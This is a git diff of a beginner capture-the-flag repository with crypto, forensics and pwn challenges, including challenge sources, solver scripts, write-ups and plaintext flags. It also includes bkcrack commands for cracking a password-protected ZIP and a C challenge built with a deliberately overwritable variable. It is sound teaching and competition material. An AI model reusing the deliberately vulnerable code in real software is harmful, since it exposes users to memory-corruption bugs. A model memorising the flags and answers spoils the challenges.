'0x5b6ee0fbb638d882c571670fa9dbf415b8a927a42ff6ebd78c7a3945022cd4376daf91d138f680da797d989ec00000000000', '0x327de568109b8f52a58c3039b5cc0e791773ca4061c94a7d10fca3b1aab0bc04d81a187cf2ebfa71c503b378000000000000', '0x2a26adbbb7520d5bea9446377080f7ced8f30bb7693c63c82e078f02162284c0906510f687eb46b5abced0c1000000000000', '0x2914615d12f843089e9c6c85b47cd97e13e1296bc9f2213507a6a5696e5ae94aca19765fdc1e30593bd9fc50000000000000', '0x2c788f97cec20f4f996fddc1d8b4b456242431ca6f3b01f4cb747af1dfd94071becc93711f4933c1f2fbef78c00000000000', '0x5d30a95f4c405a5db3cf41b17f3f8316e0bbe7f3f4ddf8186714ebade9b61a8b8f2dd972c46122b8c61a2b88000000000000', '0x29c9ab788e92d8471b8c676ba2b0b1ff650a1f472b1c54c369a7d49b2f281a0981e3c876e53cc6c6ef121888000000000000', '0x2678c3462aaf815c6b620a0f55a5322effdb06e67b5cef16bddaf69c90ec6a8d557fda26adc7ae198f33ce70000000000000']
diff --git a/Crypto/Sums_n_Diffs/admin/exploit/solver.py b/Crypto/Sums_n_Diffs/admin/exploit/solver.py
new file mode 100644
index 0000000..fab7960
--- /dev/null
+++ b/Crypto/Sums_n_Diffs/admin/exploit/solver.py
@@ -0,0 +1,14 @@
+from math import isqrt
+
+with open('output.txt', 'r') as output_file:
+ P = int(output_file.readline().lstrip("P: "), 16)
+ O = eval(output_file.readline().lstrip("Out: "))
+
+# P = Pi + Di
+# O = PiDi
+
+for N in O:
+ N = int(N, 16)
+ pt = (P + isqrt(P**2 - 4* N))//2
+ print(chr( P // min(pt, N//pt)), end="")
+print()
\ No newline at end of file
diff --git a/Crypto/Sums_n_Diffs/admin/src/challenge.py b/Crypto/Sums_n_Diffs/admin/src/challenge.py
new file mode 100644
index 0000000..ee95a36
--- /dev/null
+++ b/Crypto/Sums_n_Diffs/admin/src/challenge.py
@@ -0,0 +1,30 @@
+flag = "inctfj{qu4dr4t1c_f0rmu14_rul3s}"
+flag = list(flag.encode())
+
+def product(arr):
+ product = 1
+ for num in arr:
+ product *= num
+ return product
+
+def generatePs(arr):
+ Ps = []
+ for i in range(len(arr)):
+ Ps.append(product(arr[:i] + arr[i+1:]))
+ return Ps
+
+def generateDs(Ps, P):
+ Ds = []
+ for i in range(len(Ps)):
+ Ds.append(P - Ps[i])
+ return Ds
+
+P = product(flag)
+Ps = generatePs(flag)
+Ds = generateDs(Ps, P)
+
+out = [hex(Ps[i] * Ds[i]) for i in range(len(flag))]
+
+with open('output.txt', 'w') as output_file:
+ output_file.write(f"P: {hex(P)}\n")
+ output_file.write(f"Out: {out}\n")
\ No newline at end of file
diff --git a/Crypto/Sums_n_Diffs/admin/src/output.txt b/Crypto/Sums_n_Diffs/admin/src/output.txt
new file mode 100644
index 0000000..8bc884e
--- /dev/null
+++ b/Crypto/Sums_n_Diffs/admin/src/output.txt
@@ -0,0 +1,2 @@
+P: 0x45a0329fce551659417d40ab7b4860711bb82be95b102000000
+Out: ['0x2dbab510cbc3dc98cfa31154fc18584d10369fe17b0f352c2a7547bd4dd432c6ab49ddaf46e51c2186eb47a0000000000000', '0x2bab77dda2486be1e5fafc7276dd5f300030aa53f6c35e9ccbc29a28ab3e85a03be502263fb0779805ab4add000000000000', '0x3078f81a1bac45c258aa7e97ee523dfd33e8e3cc565c1e35b59a814d3d4f1c8ac54030151d601a0b2e381d48000000000000', '0x296e4020e24081ab29514ce08123a29981d2e685dce07bf8d800bbe71c5b9106986d64649f9910be634a3536c00000000000', '0x2f0f9d368681c73c1ea4d3185b23e9e15035eebc7a60bc02155615bcf22f2990b7aa5a9c84739d0df366d0dd000000000000', '0x2d4d518d647c98ed6a13a8689436365d28d67d012502faf32592016365708155a7dcf3ecf64334c2f18dedf1000000000000', '0x271797c1e950793da20085219eaaa1487343d75b6579e894ee32920ce5b27c5dc3e48a84b69c3b67de6f5e28000000000000', '0x2a85519ed88d5be9342a62e37f97077edcbe3cbe07265ec05fff5d3c81ade1d5d1f527bdc4b02b83584d79c0000000000000', '0x2914615d12f843089e9c6c85b47cd97e13e1296bc9f2213507a6a5696e5ae94aca19765fdc1e30593bd9fc50000000000000', '0x5b6ee0fbb638d882c571670fa9dbf415b8a927a42ff6ebd78c7a3945022cd4376daf91d138f680da797d989ec00000000000', '0x2ffe220d568a2a474a9a6e5b2129d2163e6685a3e89a417bfb8ce4eeed0c15f42ea8a77e71d1bdf5d1ff3544c00000000000', '0x2a26adbbb7520d5bea9446377080f7ced8f30bb7693c63c82e078f02162284c0906510f687eb46b5abced0c1000000000000', '0x5b6ee0fbb638d882c571670fa9dbf415b8a927a42ff6ebd78c7a3945022cd4376daf91d138f680da797d989ec00000000000', '0x296e4020e24081ab29514ce08123a29981d2e685dce07bf8d800bbe71c5b9106986d64649f9910be634a3536c00000000000', '0x60ea221857d423e3cdbfab5ce6717c0a9aed229c5b34b9d4f5e9aef20c3a4770cbde0d4742412f28e9b0b8c0000000000000', '0x3078f81a1bac45c258aa7e97ee523dfd33e8e3cc565c1e35b59a814d3d4f1c8ac54030151d601a0b2e381d48000000000000', '0x327de568109b8f52a58c3039b5cc0e791773ca4061c94a7d10fca3b1aab0bc04d81a187cf2ebfa71c503b378000000000000', '0x2f0f9d368681c73c1ea4d3185b23e9e15035eebc7a60bc02155615bcf22f2990b7aa5a9c84739d0df366d0dd000000000000', '0x62e404b16d6a731808c9f473b1e460917f5247d78a2fa09c9d8c23efb10724b0605b8dd99b8d65c92823f88ddc0000000000', '0x2a26adbbb7520d5bea9446377080f7ced8f30bb7693c63c82e078f02162284c0906510f687eb46b5abced0c1000000000000', '0x2c11152330ca8d2f1475dc7d41b20cb5927e9fd3df3dd93a081c270b4c2e20ecee8727eb984535ca754a4e30000000000000', '0x2914615d12f843089e9c6c85b47cd97e13e1296bc9f2213507a6a5696e5ae94aca19765fdc1e30593bd9fc50000000000000', '0x60ea221857d423e3cdbfab5ce6717c0a9aed229c5b34b9d4f5e9aef20c3a4770cbde0d4742412f28e9b0b8c0000000000000', '0x5b6ee0fbb638d882c571670fa9dbf415b8a927a42ff6ebd78c7a3945022cd4376daf91d138f680da797d989ec00000000000', '0x327de568109b8f52a58c3039b5cc0e791773ca4061c94a7d10fca3b1aab0bc04d81a187cf2ebfa71c503b378000000000000', '0x2a26adbbb7520d5bea9446377080f7ced8f30bb7693c63c82e078f02162284c0906510f687eb46b5abced0c1000000000000', '0x2914615d12f843089e9c6c85b47cd97e13e1296bc9f2213507a6a5696e5ae94aca19765fdc1e30593bd9fc50000000000000', '0x2c788f97cec20f4f996fddc1d8b4b456242431ca6f3b01f4cb747af1dfd94071becc93711f4933c1f2fbef78c00000000000', '0x5d30a95f4c405a5db3cf41b17f3f8316e0bbe7f3f4ddf8186714ebade9b61a8b8f2dd972c46122b8c61a2b88000000000000', '0x29c9ab788e92d8471b8c676ba2b0b1ff650a1f472b1c54c369a7d49b2f281a0981e3c876e53cc6c6ef121888000000000000', '0x2678c3462aaf815c6b620a0f55a5322effdb06e67b5cef16bddaf69c90ec6a8d557fda26adc7ae198f33ce70000000000000']
diff --git a/Crypto/beginner/admin/flag.txt b/Crypto/beginner/admin/flag.txt
new file mode 100644
index 0000000..d989751
--- /dev/null
+++ b/Crypto/beginner/admin/flag.txt
@@ -0,0 +1 @@
+inctfj{w3lc0m3_70_cryp706r4phy!}
\ No newline at end of file
diff --git a/Crypto/beginner/admin/sol.sage b/Crypto/beginner/admin/sol.sage
new file mode 100644
index 0000000..09c9f58
--- /dev/null
+++ b/Crypto/beginner/admin/sol.sage
@@ -0,0 +1,5 @@
+from Crypto.Util.number import *
+N = 138414653154398285173062025018564621548905641465498560868979028666553259473039379949430302118910864526886589739230545892620646783941978427867080800492069898362254552704457387255994570560846878107414642490239860616029798276112596145920141221129490742073210234440495082662580528004498419704055900034211554647579
+hint = 2556067664046978652489453914564324537889824168345188260910089493313670678284018135099531833927707172379279335435002893864667471843327977584106492411924939954034804432369248416614941788969061223856099193586693738724062948950928470887960277573615330326685458726919292331237617690105640763007884852196548096426
+M = matrix(ZZ, [[N, 0], [hint, 1]]).LLL()
+print(long_to_bytes(M[0][0]))
diff --git a/Crypto/beginner/handout/README.md b/Crypto/beginner/handout/README.md
new file mode 100644
index 0000000..f0699ac
--- /dev/null
+++ b/Crypto/beginner/handout/README.md
@@ -0,0 +1,7 @@
+# Beginner
+
+How about you try out some beginner Crypto ?
+
+## Handout
+
+[chall](./chall.py)
diff --git a/Crypto/beginner/handout/chall.py b/Crypto/beginner/handout/chall.py
new file mode 100644
index 0000000..8de5758
--- /dev/null
+++ b/Crypto/beginner/handout/chall.py
@@ -0,0 +1,15 @@
+from Crypto.Util.number import *
+from random import randint
+
+flag = bytes_to_long(open("flag.txt", "r").read().strip().encode())
+p , q = getPrime(512), getPrime(512)
+N = p*q
+secret = pow(randint(2,2**256),-1,N)
+
+print(f"N = {N}")
+print(f"hint = {(flag * secret) % N}")
+
+'''
+N = 138414653154398285173062025018564621548905641465498560868979028666553259473039379949430302118910864526886589739230545892620646783941978427867080800492069898362254552704457387255994570560846878107414642490239860616029798276112596145920141221129490742073210234440495082662580528004498419704055900034211554647579
+hint = 2556067664046978652489453914564324537889824168345188260910089493313670678284018135099531833927707172379279335435002893864667471843327977584106492411924939954034804432369248416614941788969061223856099193586693738724062948950928470887960277573615330326685458726919292331237617690105640763007884852196548096426
+'''
\ No newline at end of file
diff --git a/Crypto/bragcrid/Handout/bragcrid.py b/Crypto/bragcrid/Handout/bragcrid.py
new file mode 100644
index 0000000..2f5e902
--- /dev/null
+++ b/Crypto/bragcrid/Handout/bragcrid.py
@@ -0,0 +1,10 @@
+import binascii
+from operator import xor
+m1=???
+m2=???
+key=???
+c1=''.join(chr(a^b) for a,b in zip(m1,key))
+c2=''.join(chr(c^d) for c,d in zip(m2,key))
+print("encrypted message1",binascii.hexlify(c1.encode()))
+print("encrypted message2",binascii.hexlify(c2.encode()))
+print("flag=??")
\ No newline at end of file
diff --git a/Crypto/bragcrid/Handout/chall.zip b/Crypto/bragcrid/Handout/chall.zip
new file mode 100644
index 0000000..ea4bde1
Binary files /dev/null and b/Crypto/bragcrid/Handout/chall.zip differ
diff --git a/Crypto/bragcrid/Handout/output.txt b/Crypto/bragcrid/Handout/output.txt
new file mode 100644
index 0000000..f5ae2ad
--- /dev/null
+++ b/Crypto/bragcrid/Handout/output.txt
@@ -0,0 +1,3 @@
+encrypted message1 b'0a1c0a1602181a1318'
+encrypted message2 b'00000000000000000a'
+flag=??
\ No newline at end of file
diff --git a/Crypto/bragcrid/README.md b/Crypto/bragcrid/README.md
new file mode 100644
index 0000000..716adae
--- /dev/null
+++ b/Crypto/bragcrid/README.md
@@ -0,0 +1,29 @@
+# bragcrid
+### Challenge Description
+
+Two messages are xored with the same key to get these two encrypted messages. Now I can't give you the key, these messages could be of some help perhaps?
+
+encrypted message1= b'0a1c0a1602181a1318'
+encrypted message2= b'00000000000000000a'
+flag=??
+
+**Challenge File**:
++ [Primary Link](".\Handout\chall.zip")
+
+**MD5 Hash**: 20283d3a0cf3e7ef15491de3094fda06
+
+### Short Writeup
+
++ Crib drag is the principle used in the challenge
++ Procedure to solve:
+1) xor the two ciphertexts to get a combine_xored_ciphertext
+2) 2)Now, xor this combine_xored_ciphertext with guess words of the message to get parts of the flag
++ The flag placeholder "inctfj{" when xored with combine_xored_ciphertext will give the flag
+
+### Flag
+
+inctfj{tocribdrag}
+
+### Author
+
+Parvathy
\ No newline at end of file
diff --git a/Crypto/bragcrid/admin/exploit/solver.py b/Crypto/bragcrid/admin/exploit/solver.py
new file mode 100644
index 0000000..1881dab
--- /dev/null
+++ b/Crypto/bragcrid/admin/exploit/solver.py
@@ -0,0 +1,10 @@
+from pwn import xor
+import binascii
+c1=b'0a1c0a1602181a1318'
+c2=b'00000000000000000a'
+c1=binascii.unhexlify(c1)
+c2=binascii.unhexlify(c2)
+combined_xor=(xor(c1,c2))
+crib=b"inctfj{"
+word_guess=''.join(chr(c^d) for c,d in zip(combined_xor,crib))
+print(word_guess)
\ No newline at end of file
diff --git a/Crypto/bragcrid/admin/src/challenge.py b/Crypto/bragcrid/admin/src/challenge.py
new file mode 100644
index 0000000..204bad2
--- /dev/null
+++ b/Crypto/bragcrid/admin/src/challenge.py
@@ -0,0 +1,10 @@
+import binascii
+from operator import xor
+m1=b"inctfj{to"
+m2=b"cribdrag}"
+key=b"cribdragwelcomesyou!"
+c1=''.join(chr(a^b) for a,b in zip(m1,key))
+c2=''.join(chr(c^d) for c,d in zip(m2,key))
+print("encrypted message1",binascii.hexlify(c1.encode()))
+print("encrypted message2",binascii.hexlify(c2.encode()))
+print("flag=??")
\ No newline at end of file
diff --git a/Forensics/easy_Twisted_Souls/admin/README.md b/Forensics/easy_Twisted_Souls/admin/README.md
new file mode 100644
index 0000000..d65fc88
--- /dev/null
+++ b/Forensics/easy_Twisted_Souls/admin/README.md
@@ -0,0 +1,41 @@
+# Twisted Souls
+
+These mixed souls must be separated—can you uncover the hidden message?
+
+### Handout
+```
+MD5 hash :
+2db2419310ac9e918e71124fdc24e58c chall1.png
+acb744c0ece5db3809ffa0dfb6b7edd9 chall2.png
+cc2f58c8206131a9cb7aab3759aef650 chall3.png
+```
+
+### Writeup
+Solve script
+
+```py
+from PIL import Image
+import numpy as np
+image1Path = "chall1.png"
+image2Path = "chall2.png"
+image3Path = "chall3.png"
+image1 = Image.open(image1Path)
+image2 = Image.open(image2Path)
+image3 = Image.open(image3Path)
+buffer1 = np.asarray(image1)
+buffer2 = np.asarray(image2)
+diff = np.asarray(image3)
+buffer3 = buffer1 + buffer2
+bufferlast = diff - buffer3
+differenceImage = Image.fromarray(bufferlast)
+differenceImage.show()
+```
+
+### Flag
+
+```
+inctfj{Gh0st_1n_th3_M@ch1n3}
+```
+
+### Author
+`kr4z31n`
diff --git a/Forensics/easy_Twisted_Souls/handout/README.md b/Forensics/easy_Twisted_Souls/handout/README.md
new file mode 100644
index 0000000..1a9b166
--- /dev/null
+++ b/Forensics/easy_Twisted_Souls/handout/README.md
@@ -0,0 +1,20 @@
+# Twisted Souls
+
+These mixed souls must be separated—can you uncover the hidden message?
+
+### Handout
+```
+MD5 hash :
+2db2419310ac9e918e71124fdc24e58c chall1.png
+acb744c0ece5db3809ffa0dfb6b7edd9 chall2.png
+cc2f58c8206131a9cb7aab3759aef650 chall3.png
+```
+
+### Flag format
+
+```
+inctfj{...}
+```
+
+### Author
+`kr4z31n`
diff --git a/Forensics/easy_Twisted_Souls/handout/chall1.png b/Forensics/easy_Twisted_Souls/handout/chall1.png
new file mode 100644
index 0000000..13651b7
Binary files /dev/null and b/Forensics/easy_Twisted_Souls/handout/chall1.png differ
diff --git a/Forensics/easy_Twisted_Souls/handout/chall2.png b/Forensics/easy_Twisted_Souls/handout/chall2.png
new file mode 100644
index 0000000..2d19f34
Binary files /dev/null and b/Forensics/easy_Twisted_Souls/handout/chall2.png differ
diff --git a/Forensics/easy_Twisted_Souls/handout/chall3.png b/Forensics/easy_Twisted_Souls/handout/chall3.png
new file mode 100644
index 0000000..033c281
Binary files /dev/null and b/Forensics/easy_Twisted_Souls/handout/chall3.png differ
diff --git a/Forensics/hard_The_Forgotten_Frame/Admin/Description_Admin.md b/Forensics/hard_The_Forgotten_Frame/Admin/Description_Admin.md
new file mode 100644
index 0000000..6dd677b
--- /dev/null
+++ b/Forensics/hard_The_Forgotten_Frame/Admin/Description_Admin.md
@@ -0,0 +1,45 @@
+# The Forgotten Frame:
+Lost in the capture is a single frame of something unnatural, a glimpse of another place, darker and colder than here.
+
+### Handout
+ForgottenFrame.pcap (MD5 Hash : 9cb2ac078c62bc8f1936d380b9d3756e)
+
+### Flag Format
+inctfj{....}
+
+### Author
+Rudraagh
+
+
+### FLAG
+inctfj{d4nc35_in_sh4dow5}
+
+
+### Writeup :
+```py
+from scapy.all import *
+
+def extract_icmp_data(pcap_file, output_file):
+ packets = rdpcap(pcap_file)
+
+ icmp_payloads = []
+
+ for pkt in packets:
+ if pkt.haslayer(ICMP) and pkt.haslayer(Raw):
+ icmp_payloads.append(pkt[Raw].load)
+
+ reassembled_data = b"".join(icmp_payloads)
+
+ with open(output_file, "wb") as f:
+ f.write(reassembled_data)
+
+ print(f"Extracted data saved to {output_file}")
+
+pcap_file = "chall.pcap"
+
+output_file = "reassembled_image.png"
+
+extract_icmp_data(pcap_file, output_file)
+```
+
+Extract png from icmp using the script and fix the corrupted png by fixing the critical chunks of the image.
\ No newline at end of file
diff --git a/Forensics/hard_The_Forgotten_Frame/Admin/ForgottenFrame.pcap b/Forensics/hard_The_Forgotten_Frame/Admin/ForgottenFrame.pcap
new file mode 100644
index 0000000..70d4ea8
Binary files /dev/null and b/Forensics/hard_The_Forgotten_Frame/Admin/ForgottenFrame.pcap differ
diff --git a/Forensics/hard_The_Forgotten_Frame/Handout/Description.md b/Forensics/hard_The_Forgotten_Frame/Handout/Description.md
new file mode 100644
index 0000000..d64d9af
--- /dev/null
+++ b/Forensics/hard_The_Forgotten_Frame/Handout/Description.md
@@ -0,0 +1,11 @@
+# The Forgotten Frame:
+Lost in the capture is a single frame of something unnatural, a glimpse of another place, darker and colder than here.
+
+### Handout
+ForgottenFrame.pcap (MD5 Hash : 9cb2ac078c62bc8f1936d380b9d3756e)
+
+### Flag Format
+inctfj{....}
+
+### Author
+Rudraagh
diff --git a/Forensics/hard_The_Forgotten_Frame/Handout/ForgottenFrame.pcap b/Forensics/hard_The_Forgotten_Frame/Handout/ForgottenFrame.pcap
new file mode 100644
index 0000000..70d4ea8
Binary files /dev/null and b/Forensics/hard_The_Forgotten_Frame/Handout/ForgottenFrame.pcap differ
diff --git a/Forensics/medium_Haunted_Spirits/Handout/Haunted_Spirits.7z b/Forensics/medium_Haunted_Spirits/Handout/Haunted_Spirits.7z
new file mode 100644
index 0000000..8d24274
Binary files /dev/null and b/Forensics/medium_Haunted_Spirits/Handout/Haunted_Spirits.7z differ
diff --git a/Forensics/medium_Haunted_Spirits/Handout/README.md b/Forensics/medium_Haunted_Spirits/Handout/README.md
new file mode 100644
index 0000000..c55f1de
--- /dev/null
+++ b/Forensics/medium_Haunted_Spirits/Handout/README.md
@@ -0,0 +1,18 @@
+# Haunted Spirits
+
+Fragments of the past linger in a ghostly vault. Can you revive their restless spirit?
+
+### Handout
+
+``` MD5 hash : 29b914fbde0751c31c7a7093c9030089 ```
+
+
+### Flag format
+
+```
+inctfj{...}
+```
+
+
+### Author
+**```__m1m1__```**
\ No newline at end of file
diff --git a/Forensics/medium_Haunted_Spirits/README.md b/Forensics/medium_Haunted_Spirits/README.md
new file mode 100644
index 0000000..c41f96c
--- /dev/null
+++ b/Forensics/medium_Haunted_Spirits/README.md
@@ -0,0 +1,40 @@
+# Haunted Spirits
+
+Fragments of the past linger in a ghostly vault. Can you revive their restless spirit?
+
+### Handout
+
+``` MD5 hash : 29b914fbde0751c31c7a7093c9030089 ```
+
+### Writeup
+
+Solve Script:
+
+```py
+import zipfile
+for i in range(1,501):
+ file = f"{i}.zip"
+ files = bytearray(open(file, 'rb').read())
+ header = files[0:4]
+ eocd = files[145:149]
+ if header != b'PK\x03\x04':
+ files[0:4] = b'PK\x03\x04'
+ if eocd != b'PK\x05\x06':
+ files[145:149] = b'PK\x05\x06'
+
+ with open(f"fixed{i}.zip",'wb') as newfile:
+ newfile.write(files)
+ zip_file = zipfile.ZipFile(f"fixed{i}.zip", 'r').extractall()
+ textfile = open("text.txt", 'r')
+ content = textfile.read()
+ print(content, end='')
+```
+
+### Flag
+
+```
+inctfj{r3v1v3d_th3_sp1r1t_0f_br0k3n_z1p5}
+```
+
+### Author
+**```__m1m1__```**
\ No newline at end of file
diff --git a/Forensics/medium_Haunted_Spirits/admin/Haunted_Spirits.7z b/Forensics/medium_Haunted_Spirits/admin/Haunted_Spirits.7z
new file mode 100644
index 0000000..8d24274
Binary files /dev/null and b/Forensics/medium_Haunted_Spirits/admin/Haunted_Spirits.7z differ
diff --git a/Forensics/medium_Haunted_Spirits/admin/README.md b/Forensics/medium_Haunted_Spirits/admin/README.md
new file mode 100644
index 0000000..766a584
--- /dev/null
+++ b/Forensics/medium_Haunted_Spirits/admin/README.md
@@ -0,0 +1,41 @@
+# Haunted Spirits
+
+Fragments of the past linger in a ghostly vault. Can you revive their restless spirit?
+
+### Handout
+
+``` MD5 hash : 29b914fbde0751c31c7a7093c9030089 ```
+
+
+### Writeup
+
+Solve Script:
+
+```py
+import zipfile
+for i in range(1,501):
+ file = f"{i}.zip"
+ files = bytearray(open(file, 'rb').read())
+ header = files[0:4]
+ eocd = files[145:149]
+ if header != b'PK\x03\x04':
+ files[0:4] = b'PK\x03\x04'
+ if eocd != b'PK\x05\x06':
+ files[145:149] = b'PK\x05\x06'
+
+ with open(f"fixed{i}.zip",'wb') as newfile:
+ newfile.write(files)
+ zip_file = zipfile.ZipFile(f"fixed{i}.zip", 'r').extractall()
+ textfile = open("text.txt", 'r')
+ content = textfile.read()
+ print(content, end='')
+```
+
+### Flag
+
+```
+inctfj{r3v1v3d_th3_sp1r1t_0f_br0k3n_z1p5}
+```
+
+### Author
+**```__m1m1__```**
\ No newline at end of file
diff --git a/Forensics/medium_Lost-Manifest/README.md b/Forensics/medium_Lost-Manifest/README.md
new file mode 100644
index 0000000..d69030c
--- /dev/null
+++ b/Forensics/medium_Lost-Manifest/README.md
@@ -0,0 +1,33 @@
+# Lost Manifest
+
+Legends speak of a repository that devs dare not touch, haunted by a file known only as the Lost Manifest. The ZIP inside hums with an otherworldly encryption, defying all attempts to unlock its secrets. Can you uncover the truth hidden within, or will the haunting remain unsolved?
+
+### Handout
+
+``` MD5 hash : 37ca492c62aac8ba127ca0344ede7de8 ```
+
+### Writeup
+
+The original repository, `Lost-Manifest`, contains files similar to the ones in the encrypted ZIP. Extract a small portion of text from one of the similar files and save it as a separate file.
+
+`echo -n "This repository was once" > plain.txt`
+
+Use the plaintext file to run bkcrack on the encrypted ZIP file. This will recover the decryption keys required to bypass the password.
+
+`./bkcrack -C Lost-Manifest.zip -c Lost-Manifest/manifest/history.txt -p plain.txt`
+
+Use the recovered keys to remove the password protection and extract the contents of the ZIP
+
+`./bkcrack -C Lost-Manifest.zip -k a8b1c969 4b4ed840 c82ab015 -D lost_manifest_recovered.zip`
+
+Inside the decrypted ZIP file, a file named `truth.txt` contains base64-encoded text. By decoding it, flag can be obtained.
+
+
+### Flag
+
+```
+inctfj{f0und_w1th1n_th3_l05t}
+```
+
+### Author
+**```__m1m1__```**
\ No newline at end of file
diff --git a/Forensics/medium_Lost-Manifest/admin/Lost-Manifest.zip b/Forensics/medium_Lost-Manifest/admin/Lost-Manifest.zip
new file mode 100644
index 0000000..51eebb1
Binary files /dev/null and b/Forensics/medium_Lost-Manifest/admin/Lost-Manifest.zip differ
diff --git a/Forensics/medium_Lost-Manifest/admin/README.md b/Forensics/medium_Lost-Manifest/admin/README.md
new file mode 100644
index 0000000..d69030c
--- /dev/null
+++ b/Forensics/medium_Lost-Manifest/admin/README.md
@@ -0,0 +1,33 @@
+# Lost Manifest
+
+Legends speak of a repository that devs dare not touch, haunted by a file known only as the Lost Manifest. The ZIP inside hums with an otherworldly encryption, defying all attempts to unlock its secrets. Can you uncover the truth hidden within, or will the haunting remain unsolved?
+
+### Handout
+
+``` MD5 hash : 37ca492c62aac8ba127ca0344ede7de8 ```
+
+### Writeup
+
+The original repository, `Lost-Manifest`, contains files similar to the ones in the encrypted ZIP. Extract a small portion of text from one of the similar files and save it as a separate file.
+
+`echo -n "This repository was once" > plain.txt`
+
+Use the plaintext file to run bkcrack on the encrypted ZIP file. This will recover the decryption keys required to bypass the password.
+
+`./bkcrack -C Lost-Manifest.zip -c Lost-Manifest/manifest/history.txt -p plain.txt`
+
+Use the recovered keys to remove the password protection and extract the contents of the ZIP
+
+`./bkcrack -C Lost-Manifest.zip -k a8b1c969 4b4ed840 c82ab015 -D lost_manifest_recovered.zip`
+
+Inside the decrypted ZIP file, a file named `truth.txt` contains base64-encoded text. By decoding it, flag can be obtained.
+
+
+### Flag
+
+```
+inctfj{f0und_w1th1n_th3_l05t}
+```
+
+### Author
+**```__m1m1__```**
\ No newline at end of file
diff --git a/Forensics/medium_Lost-Manifest/handout/Lost-Manifest.zip b/Forensics/medium_Lost-Manifest/handout/Lost-Manifest.zip
new file mode 100644
index 0000000..51eebb1
Binary files /dev/null and b/Forensics/medium_Lost-Manifest/handout/Lost-Manifest.zip differ
diff --git a/Forensics/medium_Lost-Manifest/handout/README.md b/Forensics/medium_Lost-Manifest/handout/README.md
new file mode 100644
index 0000000..c58deb3
--- /dev/null
+++ b/Forensics/medium_Lost-Manifest/handout/README.md
@@ -0,0 +1,17 @@
+# Lost Manifest
+
+Legends speak of a repository that devs dare not touch, haunted by a file known only as the Lost Manifest. The ZIP inside hums with an otherworldly encryption, defying all attempts to unlock its secrets. Can you uncover the truth hidden within, or will the haunting remain unsolved?
+
+### Handout
+
+``` MD5 hash : 37ca492c62aac8ba127ca0344ede7de8 ```
+
+
+### Flag format
+
+```
+inctfj{...}
+```
+
+### Author
+**```__m1m1__```**
\ No newline at end of file
diff --git a/Pwn/Easy-the-spy-who-overwrote-me/README.md b/Pwn/Easy-the-spy-who-overwrote-me/README.md
new file mode 100644
index 0000000..4edd434
--- /dev/null
+++ b/Pwn/Easy-the-spy-who-overwrote-me/README.md
@@ -0,0 +1,23 @@
+# The spy who overwrote me
+
+### Challenge Description
+
+Help 007 complete his mission. You are his only hope.
+
+**Challenge File**:
++ [Primary Link](https://drive.google.com/file/d/1_HALQWO7yDV_Hj4Js672cyoLOFxWgfnY/view?usp=sharing)
++ [Mirror Link](https://1drv.ms/u/s!AmwNFYE660J7gndEX_m7tiOgsmaY?e=5qFPWe)
+
+**MD5 Hash**: 9dc689e8ea2e924353fd374aa55bbe24
+
+### Short Writeup
+
++ The challenge is just a simple variable overwrite. If the condition checks gets bypassed by overwriting the variable win function gets triggered and prints the flag.
+
+### Flag
+
+inctfj{drN0_1s_4_m3mb3r_0f_sp3c7r3}
+
+### Author
+
+**HeartStoller**
diff --git a/Pwn/Easy-the-spy-who-overwrote-me/admin/chall b/Pwn/Easy-the-spy-who-overwrote-me/admin/chall
new file mode 100644
index 0000000..e83c3e1
Binary files /dev/null and b/Pwn/Easy-the-spy-who-overwrote-me/admin/chall differ
diff --git a/Pwn/Easy-the-spy-who-overwrote-me/admin/chall.c b/Pwn/Easy-the-spy-who-overwrote-me/admin/chall.c
new file mode 100644
index 0000000..16a5c03
--- /dev/null
+++ b/Pwn/Easy-the-spy-who-overwrote-me/admin/chall.c
@@ -0,0 +1,132 @@
+#include
+#include
+
+init(){
+ setvbuf(stdin, NULL, _IONBF, 0);
+ setvbuf(stdout, NULL, _IONBF, 0);
+}
+
+void print_with_delay(const char *str, int time) {
+ for (const char *c = str; *c != '\0'; ++c) {
+ putchar(*c);
+ fflush(stdout);
+ usleep(time * 1000);
+ }
+}
+
+void win(){
+ printf("\033[0;32m");
+ printf("\nGood job. Looking forward to working with you in the future, Agent 008.\n");
+ printf("\033[0;31m");
+ printf("Flag : ");
+ char flag[50];
+ FILE* fptr;
+ fptr = fopen("flag.txt", "r");
+ fgets(flag, 50, fptr);
+ printf("\033[0;31m");
+ printf("%s", flag);
+ fclose(fptr);
+}
+
+void auth(){
+ print_with_delay("Authenticating", 100);
+ for(int i=0; i<11; i++){
+ print_with_delay(".", 500);
+ }
+ usleep(500000);
+ printf("\33[2K\r"); // remove the printed line
+}
+
+void banner(){
+ int sel;
+ int del = 300000;
+ printf("\n");
+ printf("\n");
+ printf("\n");
+ printf("\t 00000 0000 7777777777777777/========___________ \n");
+ usleep(del);
+ printf("\t 00000000 00000000 7777^^^^^^^7777/ || || ___________ \n");
+ usleep(del);
+ printf("\t 000 000 000 000 777 7777/=========// \n");
+ usleep(del);
+ printf("\t 000 000 000 000 7777// (( // \n");
+ usleep(del);
+ printf("\t 0000 0000 0000 0000 7777// (( // \n");
+ usleep(del);
+ printf("\t 0000 0000 0000 0000 7777//========// \n");
+ usleep(del);
+ printf("\t 0000 0000 0000 0000 7777 \n");
+ usleep(del);
+ printf("\t 0000 0000 0000 0000 7777 \n");
+ usleep(del);
+ printf("\t 000 000 000 000 7777 \n");
+ usleep(del);
+ printf("\t 000 000 000 000 77777 \n");
+ usleep(del);
+ printf("\t 00000000 00000000 7777777 \n");
+ usleep(del);
+ printf("\t 0000 0000 777777777 \n");
+ printf("\n");
+ printf("\n");
+ printf("\n");
+ printf("\033[0;31m");
+ print_with_delay("Hi!\n", 20);
+ print_with_delay("This is Bond ... James Bond\n", 20);
+ print_with_delay("Congratulations You have been chosen to complete a very classified mission.\n", 20);
+ print_with_delay("We have infiltrated the house of Dr. NO, a criminal mastermind who has been hiding from our agency for the past 5 years.\n", 20);
+ print_with_delay("Our team recovered his computer but it requires a password\n", 20);
+ print_with_delay("The computer contains a flag that may lead us to his current hiding place\n", 20);
+ print_with_delay("Will you be able to help us bring Dr.NO to light\n", 20);
+ printf("\n");
+ printf("\033[0;37m");
+ print_with_delay("Your mission, should you choose to accept it, is to face your fate\n", 20);
+ printf("[ACCEPT] - Press 1\n");
+ printf("[REJECT] - Press 0\n");
+ printf("Choose:\n");
+ scanf("%d", &sel);
+ if(sel){
+ printf("\033[0;37m");
+ printf("\nHappy Hunting ");
+ printf("%s", "\U0001f575");
+ printf("\n");
+ printf("\n");
+ }
+ else{
+ printf("\033[0;31m");
+ print_with_delay("This job is not for the faint hearted\n", 20);
+ exit(0);
+ }
+
+}
+
+int main(){
+ init();
+ banner();
+
+ char buf[50];
+ int attempts = 1;
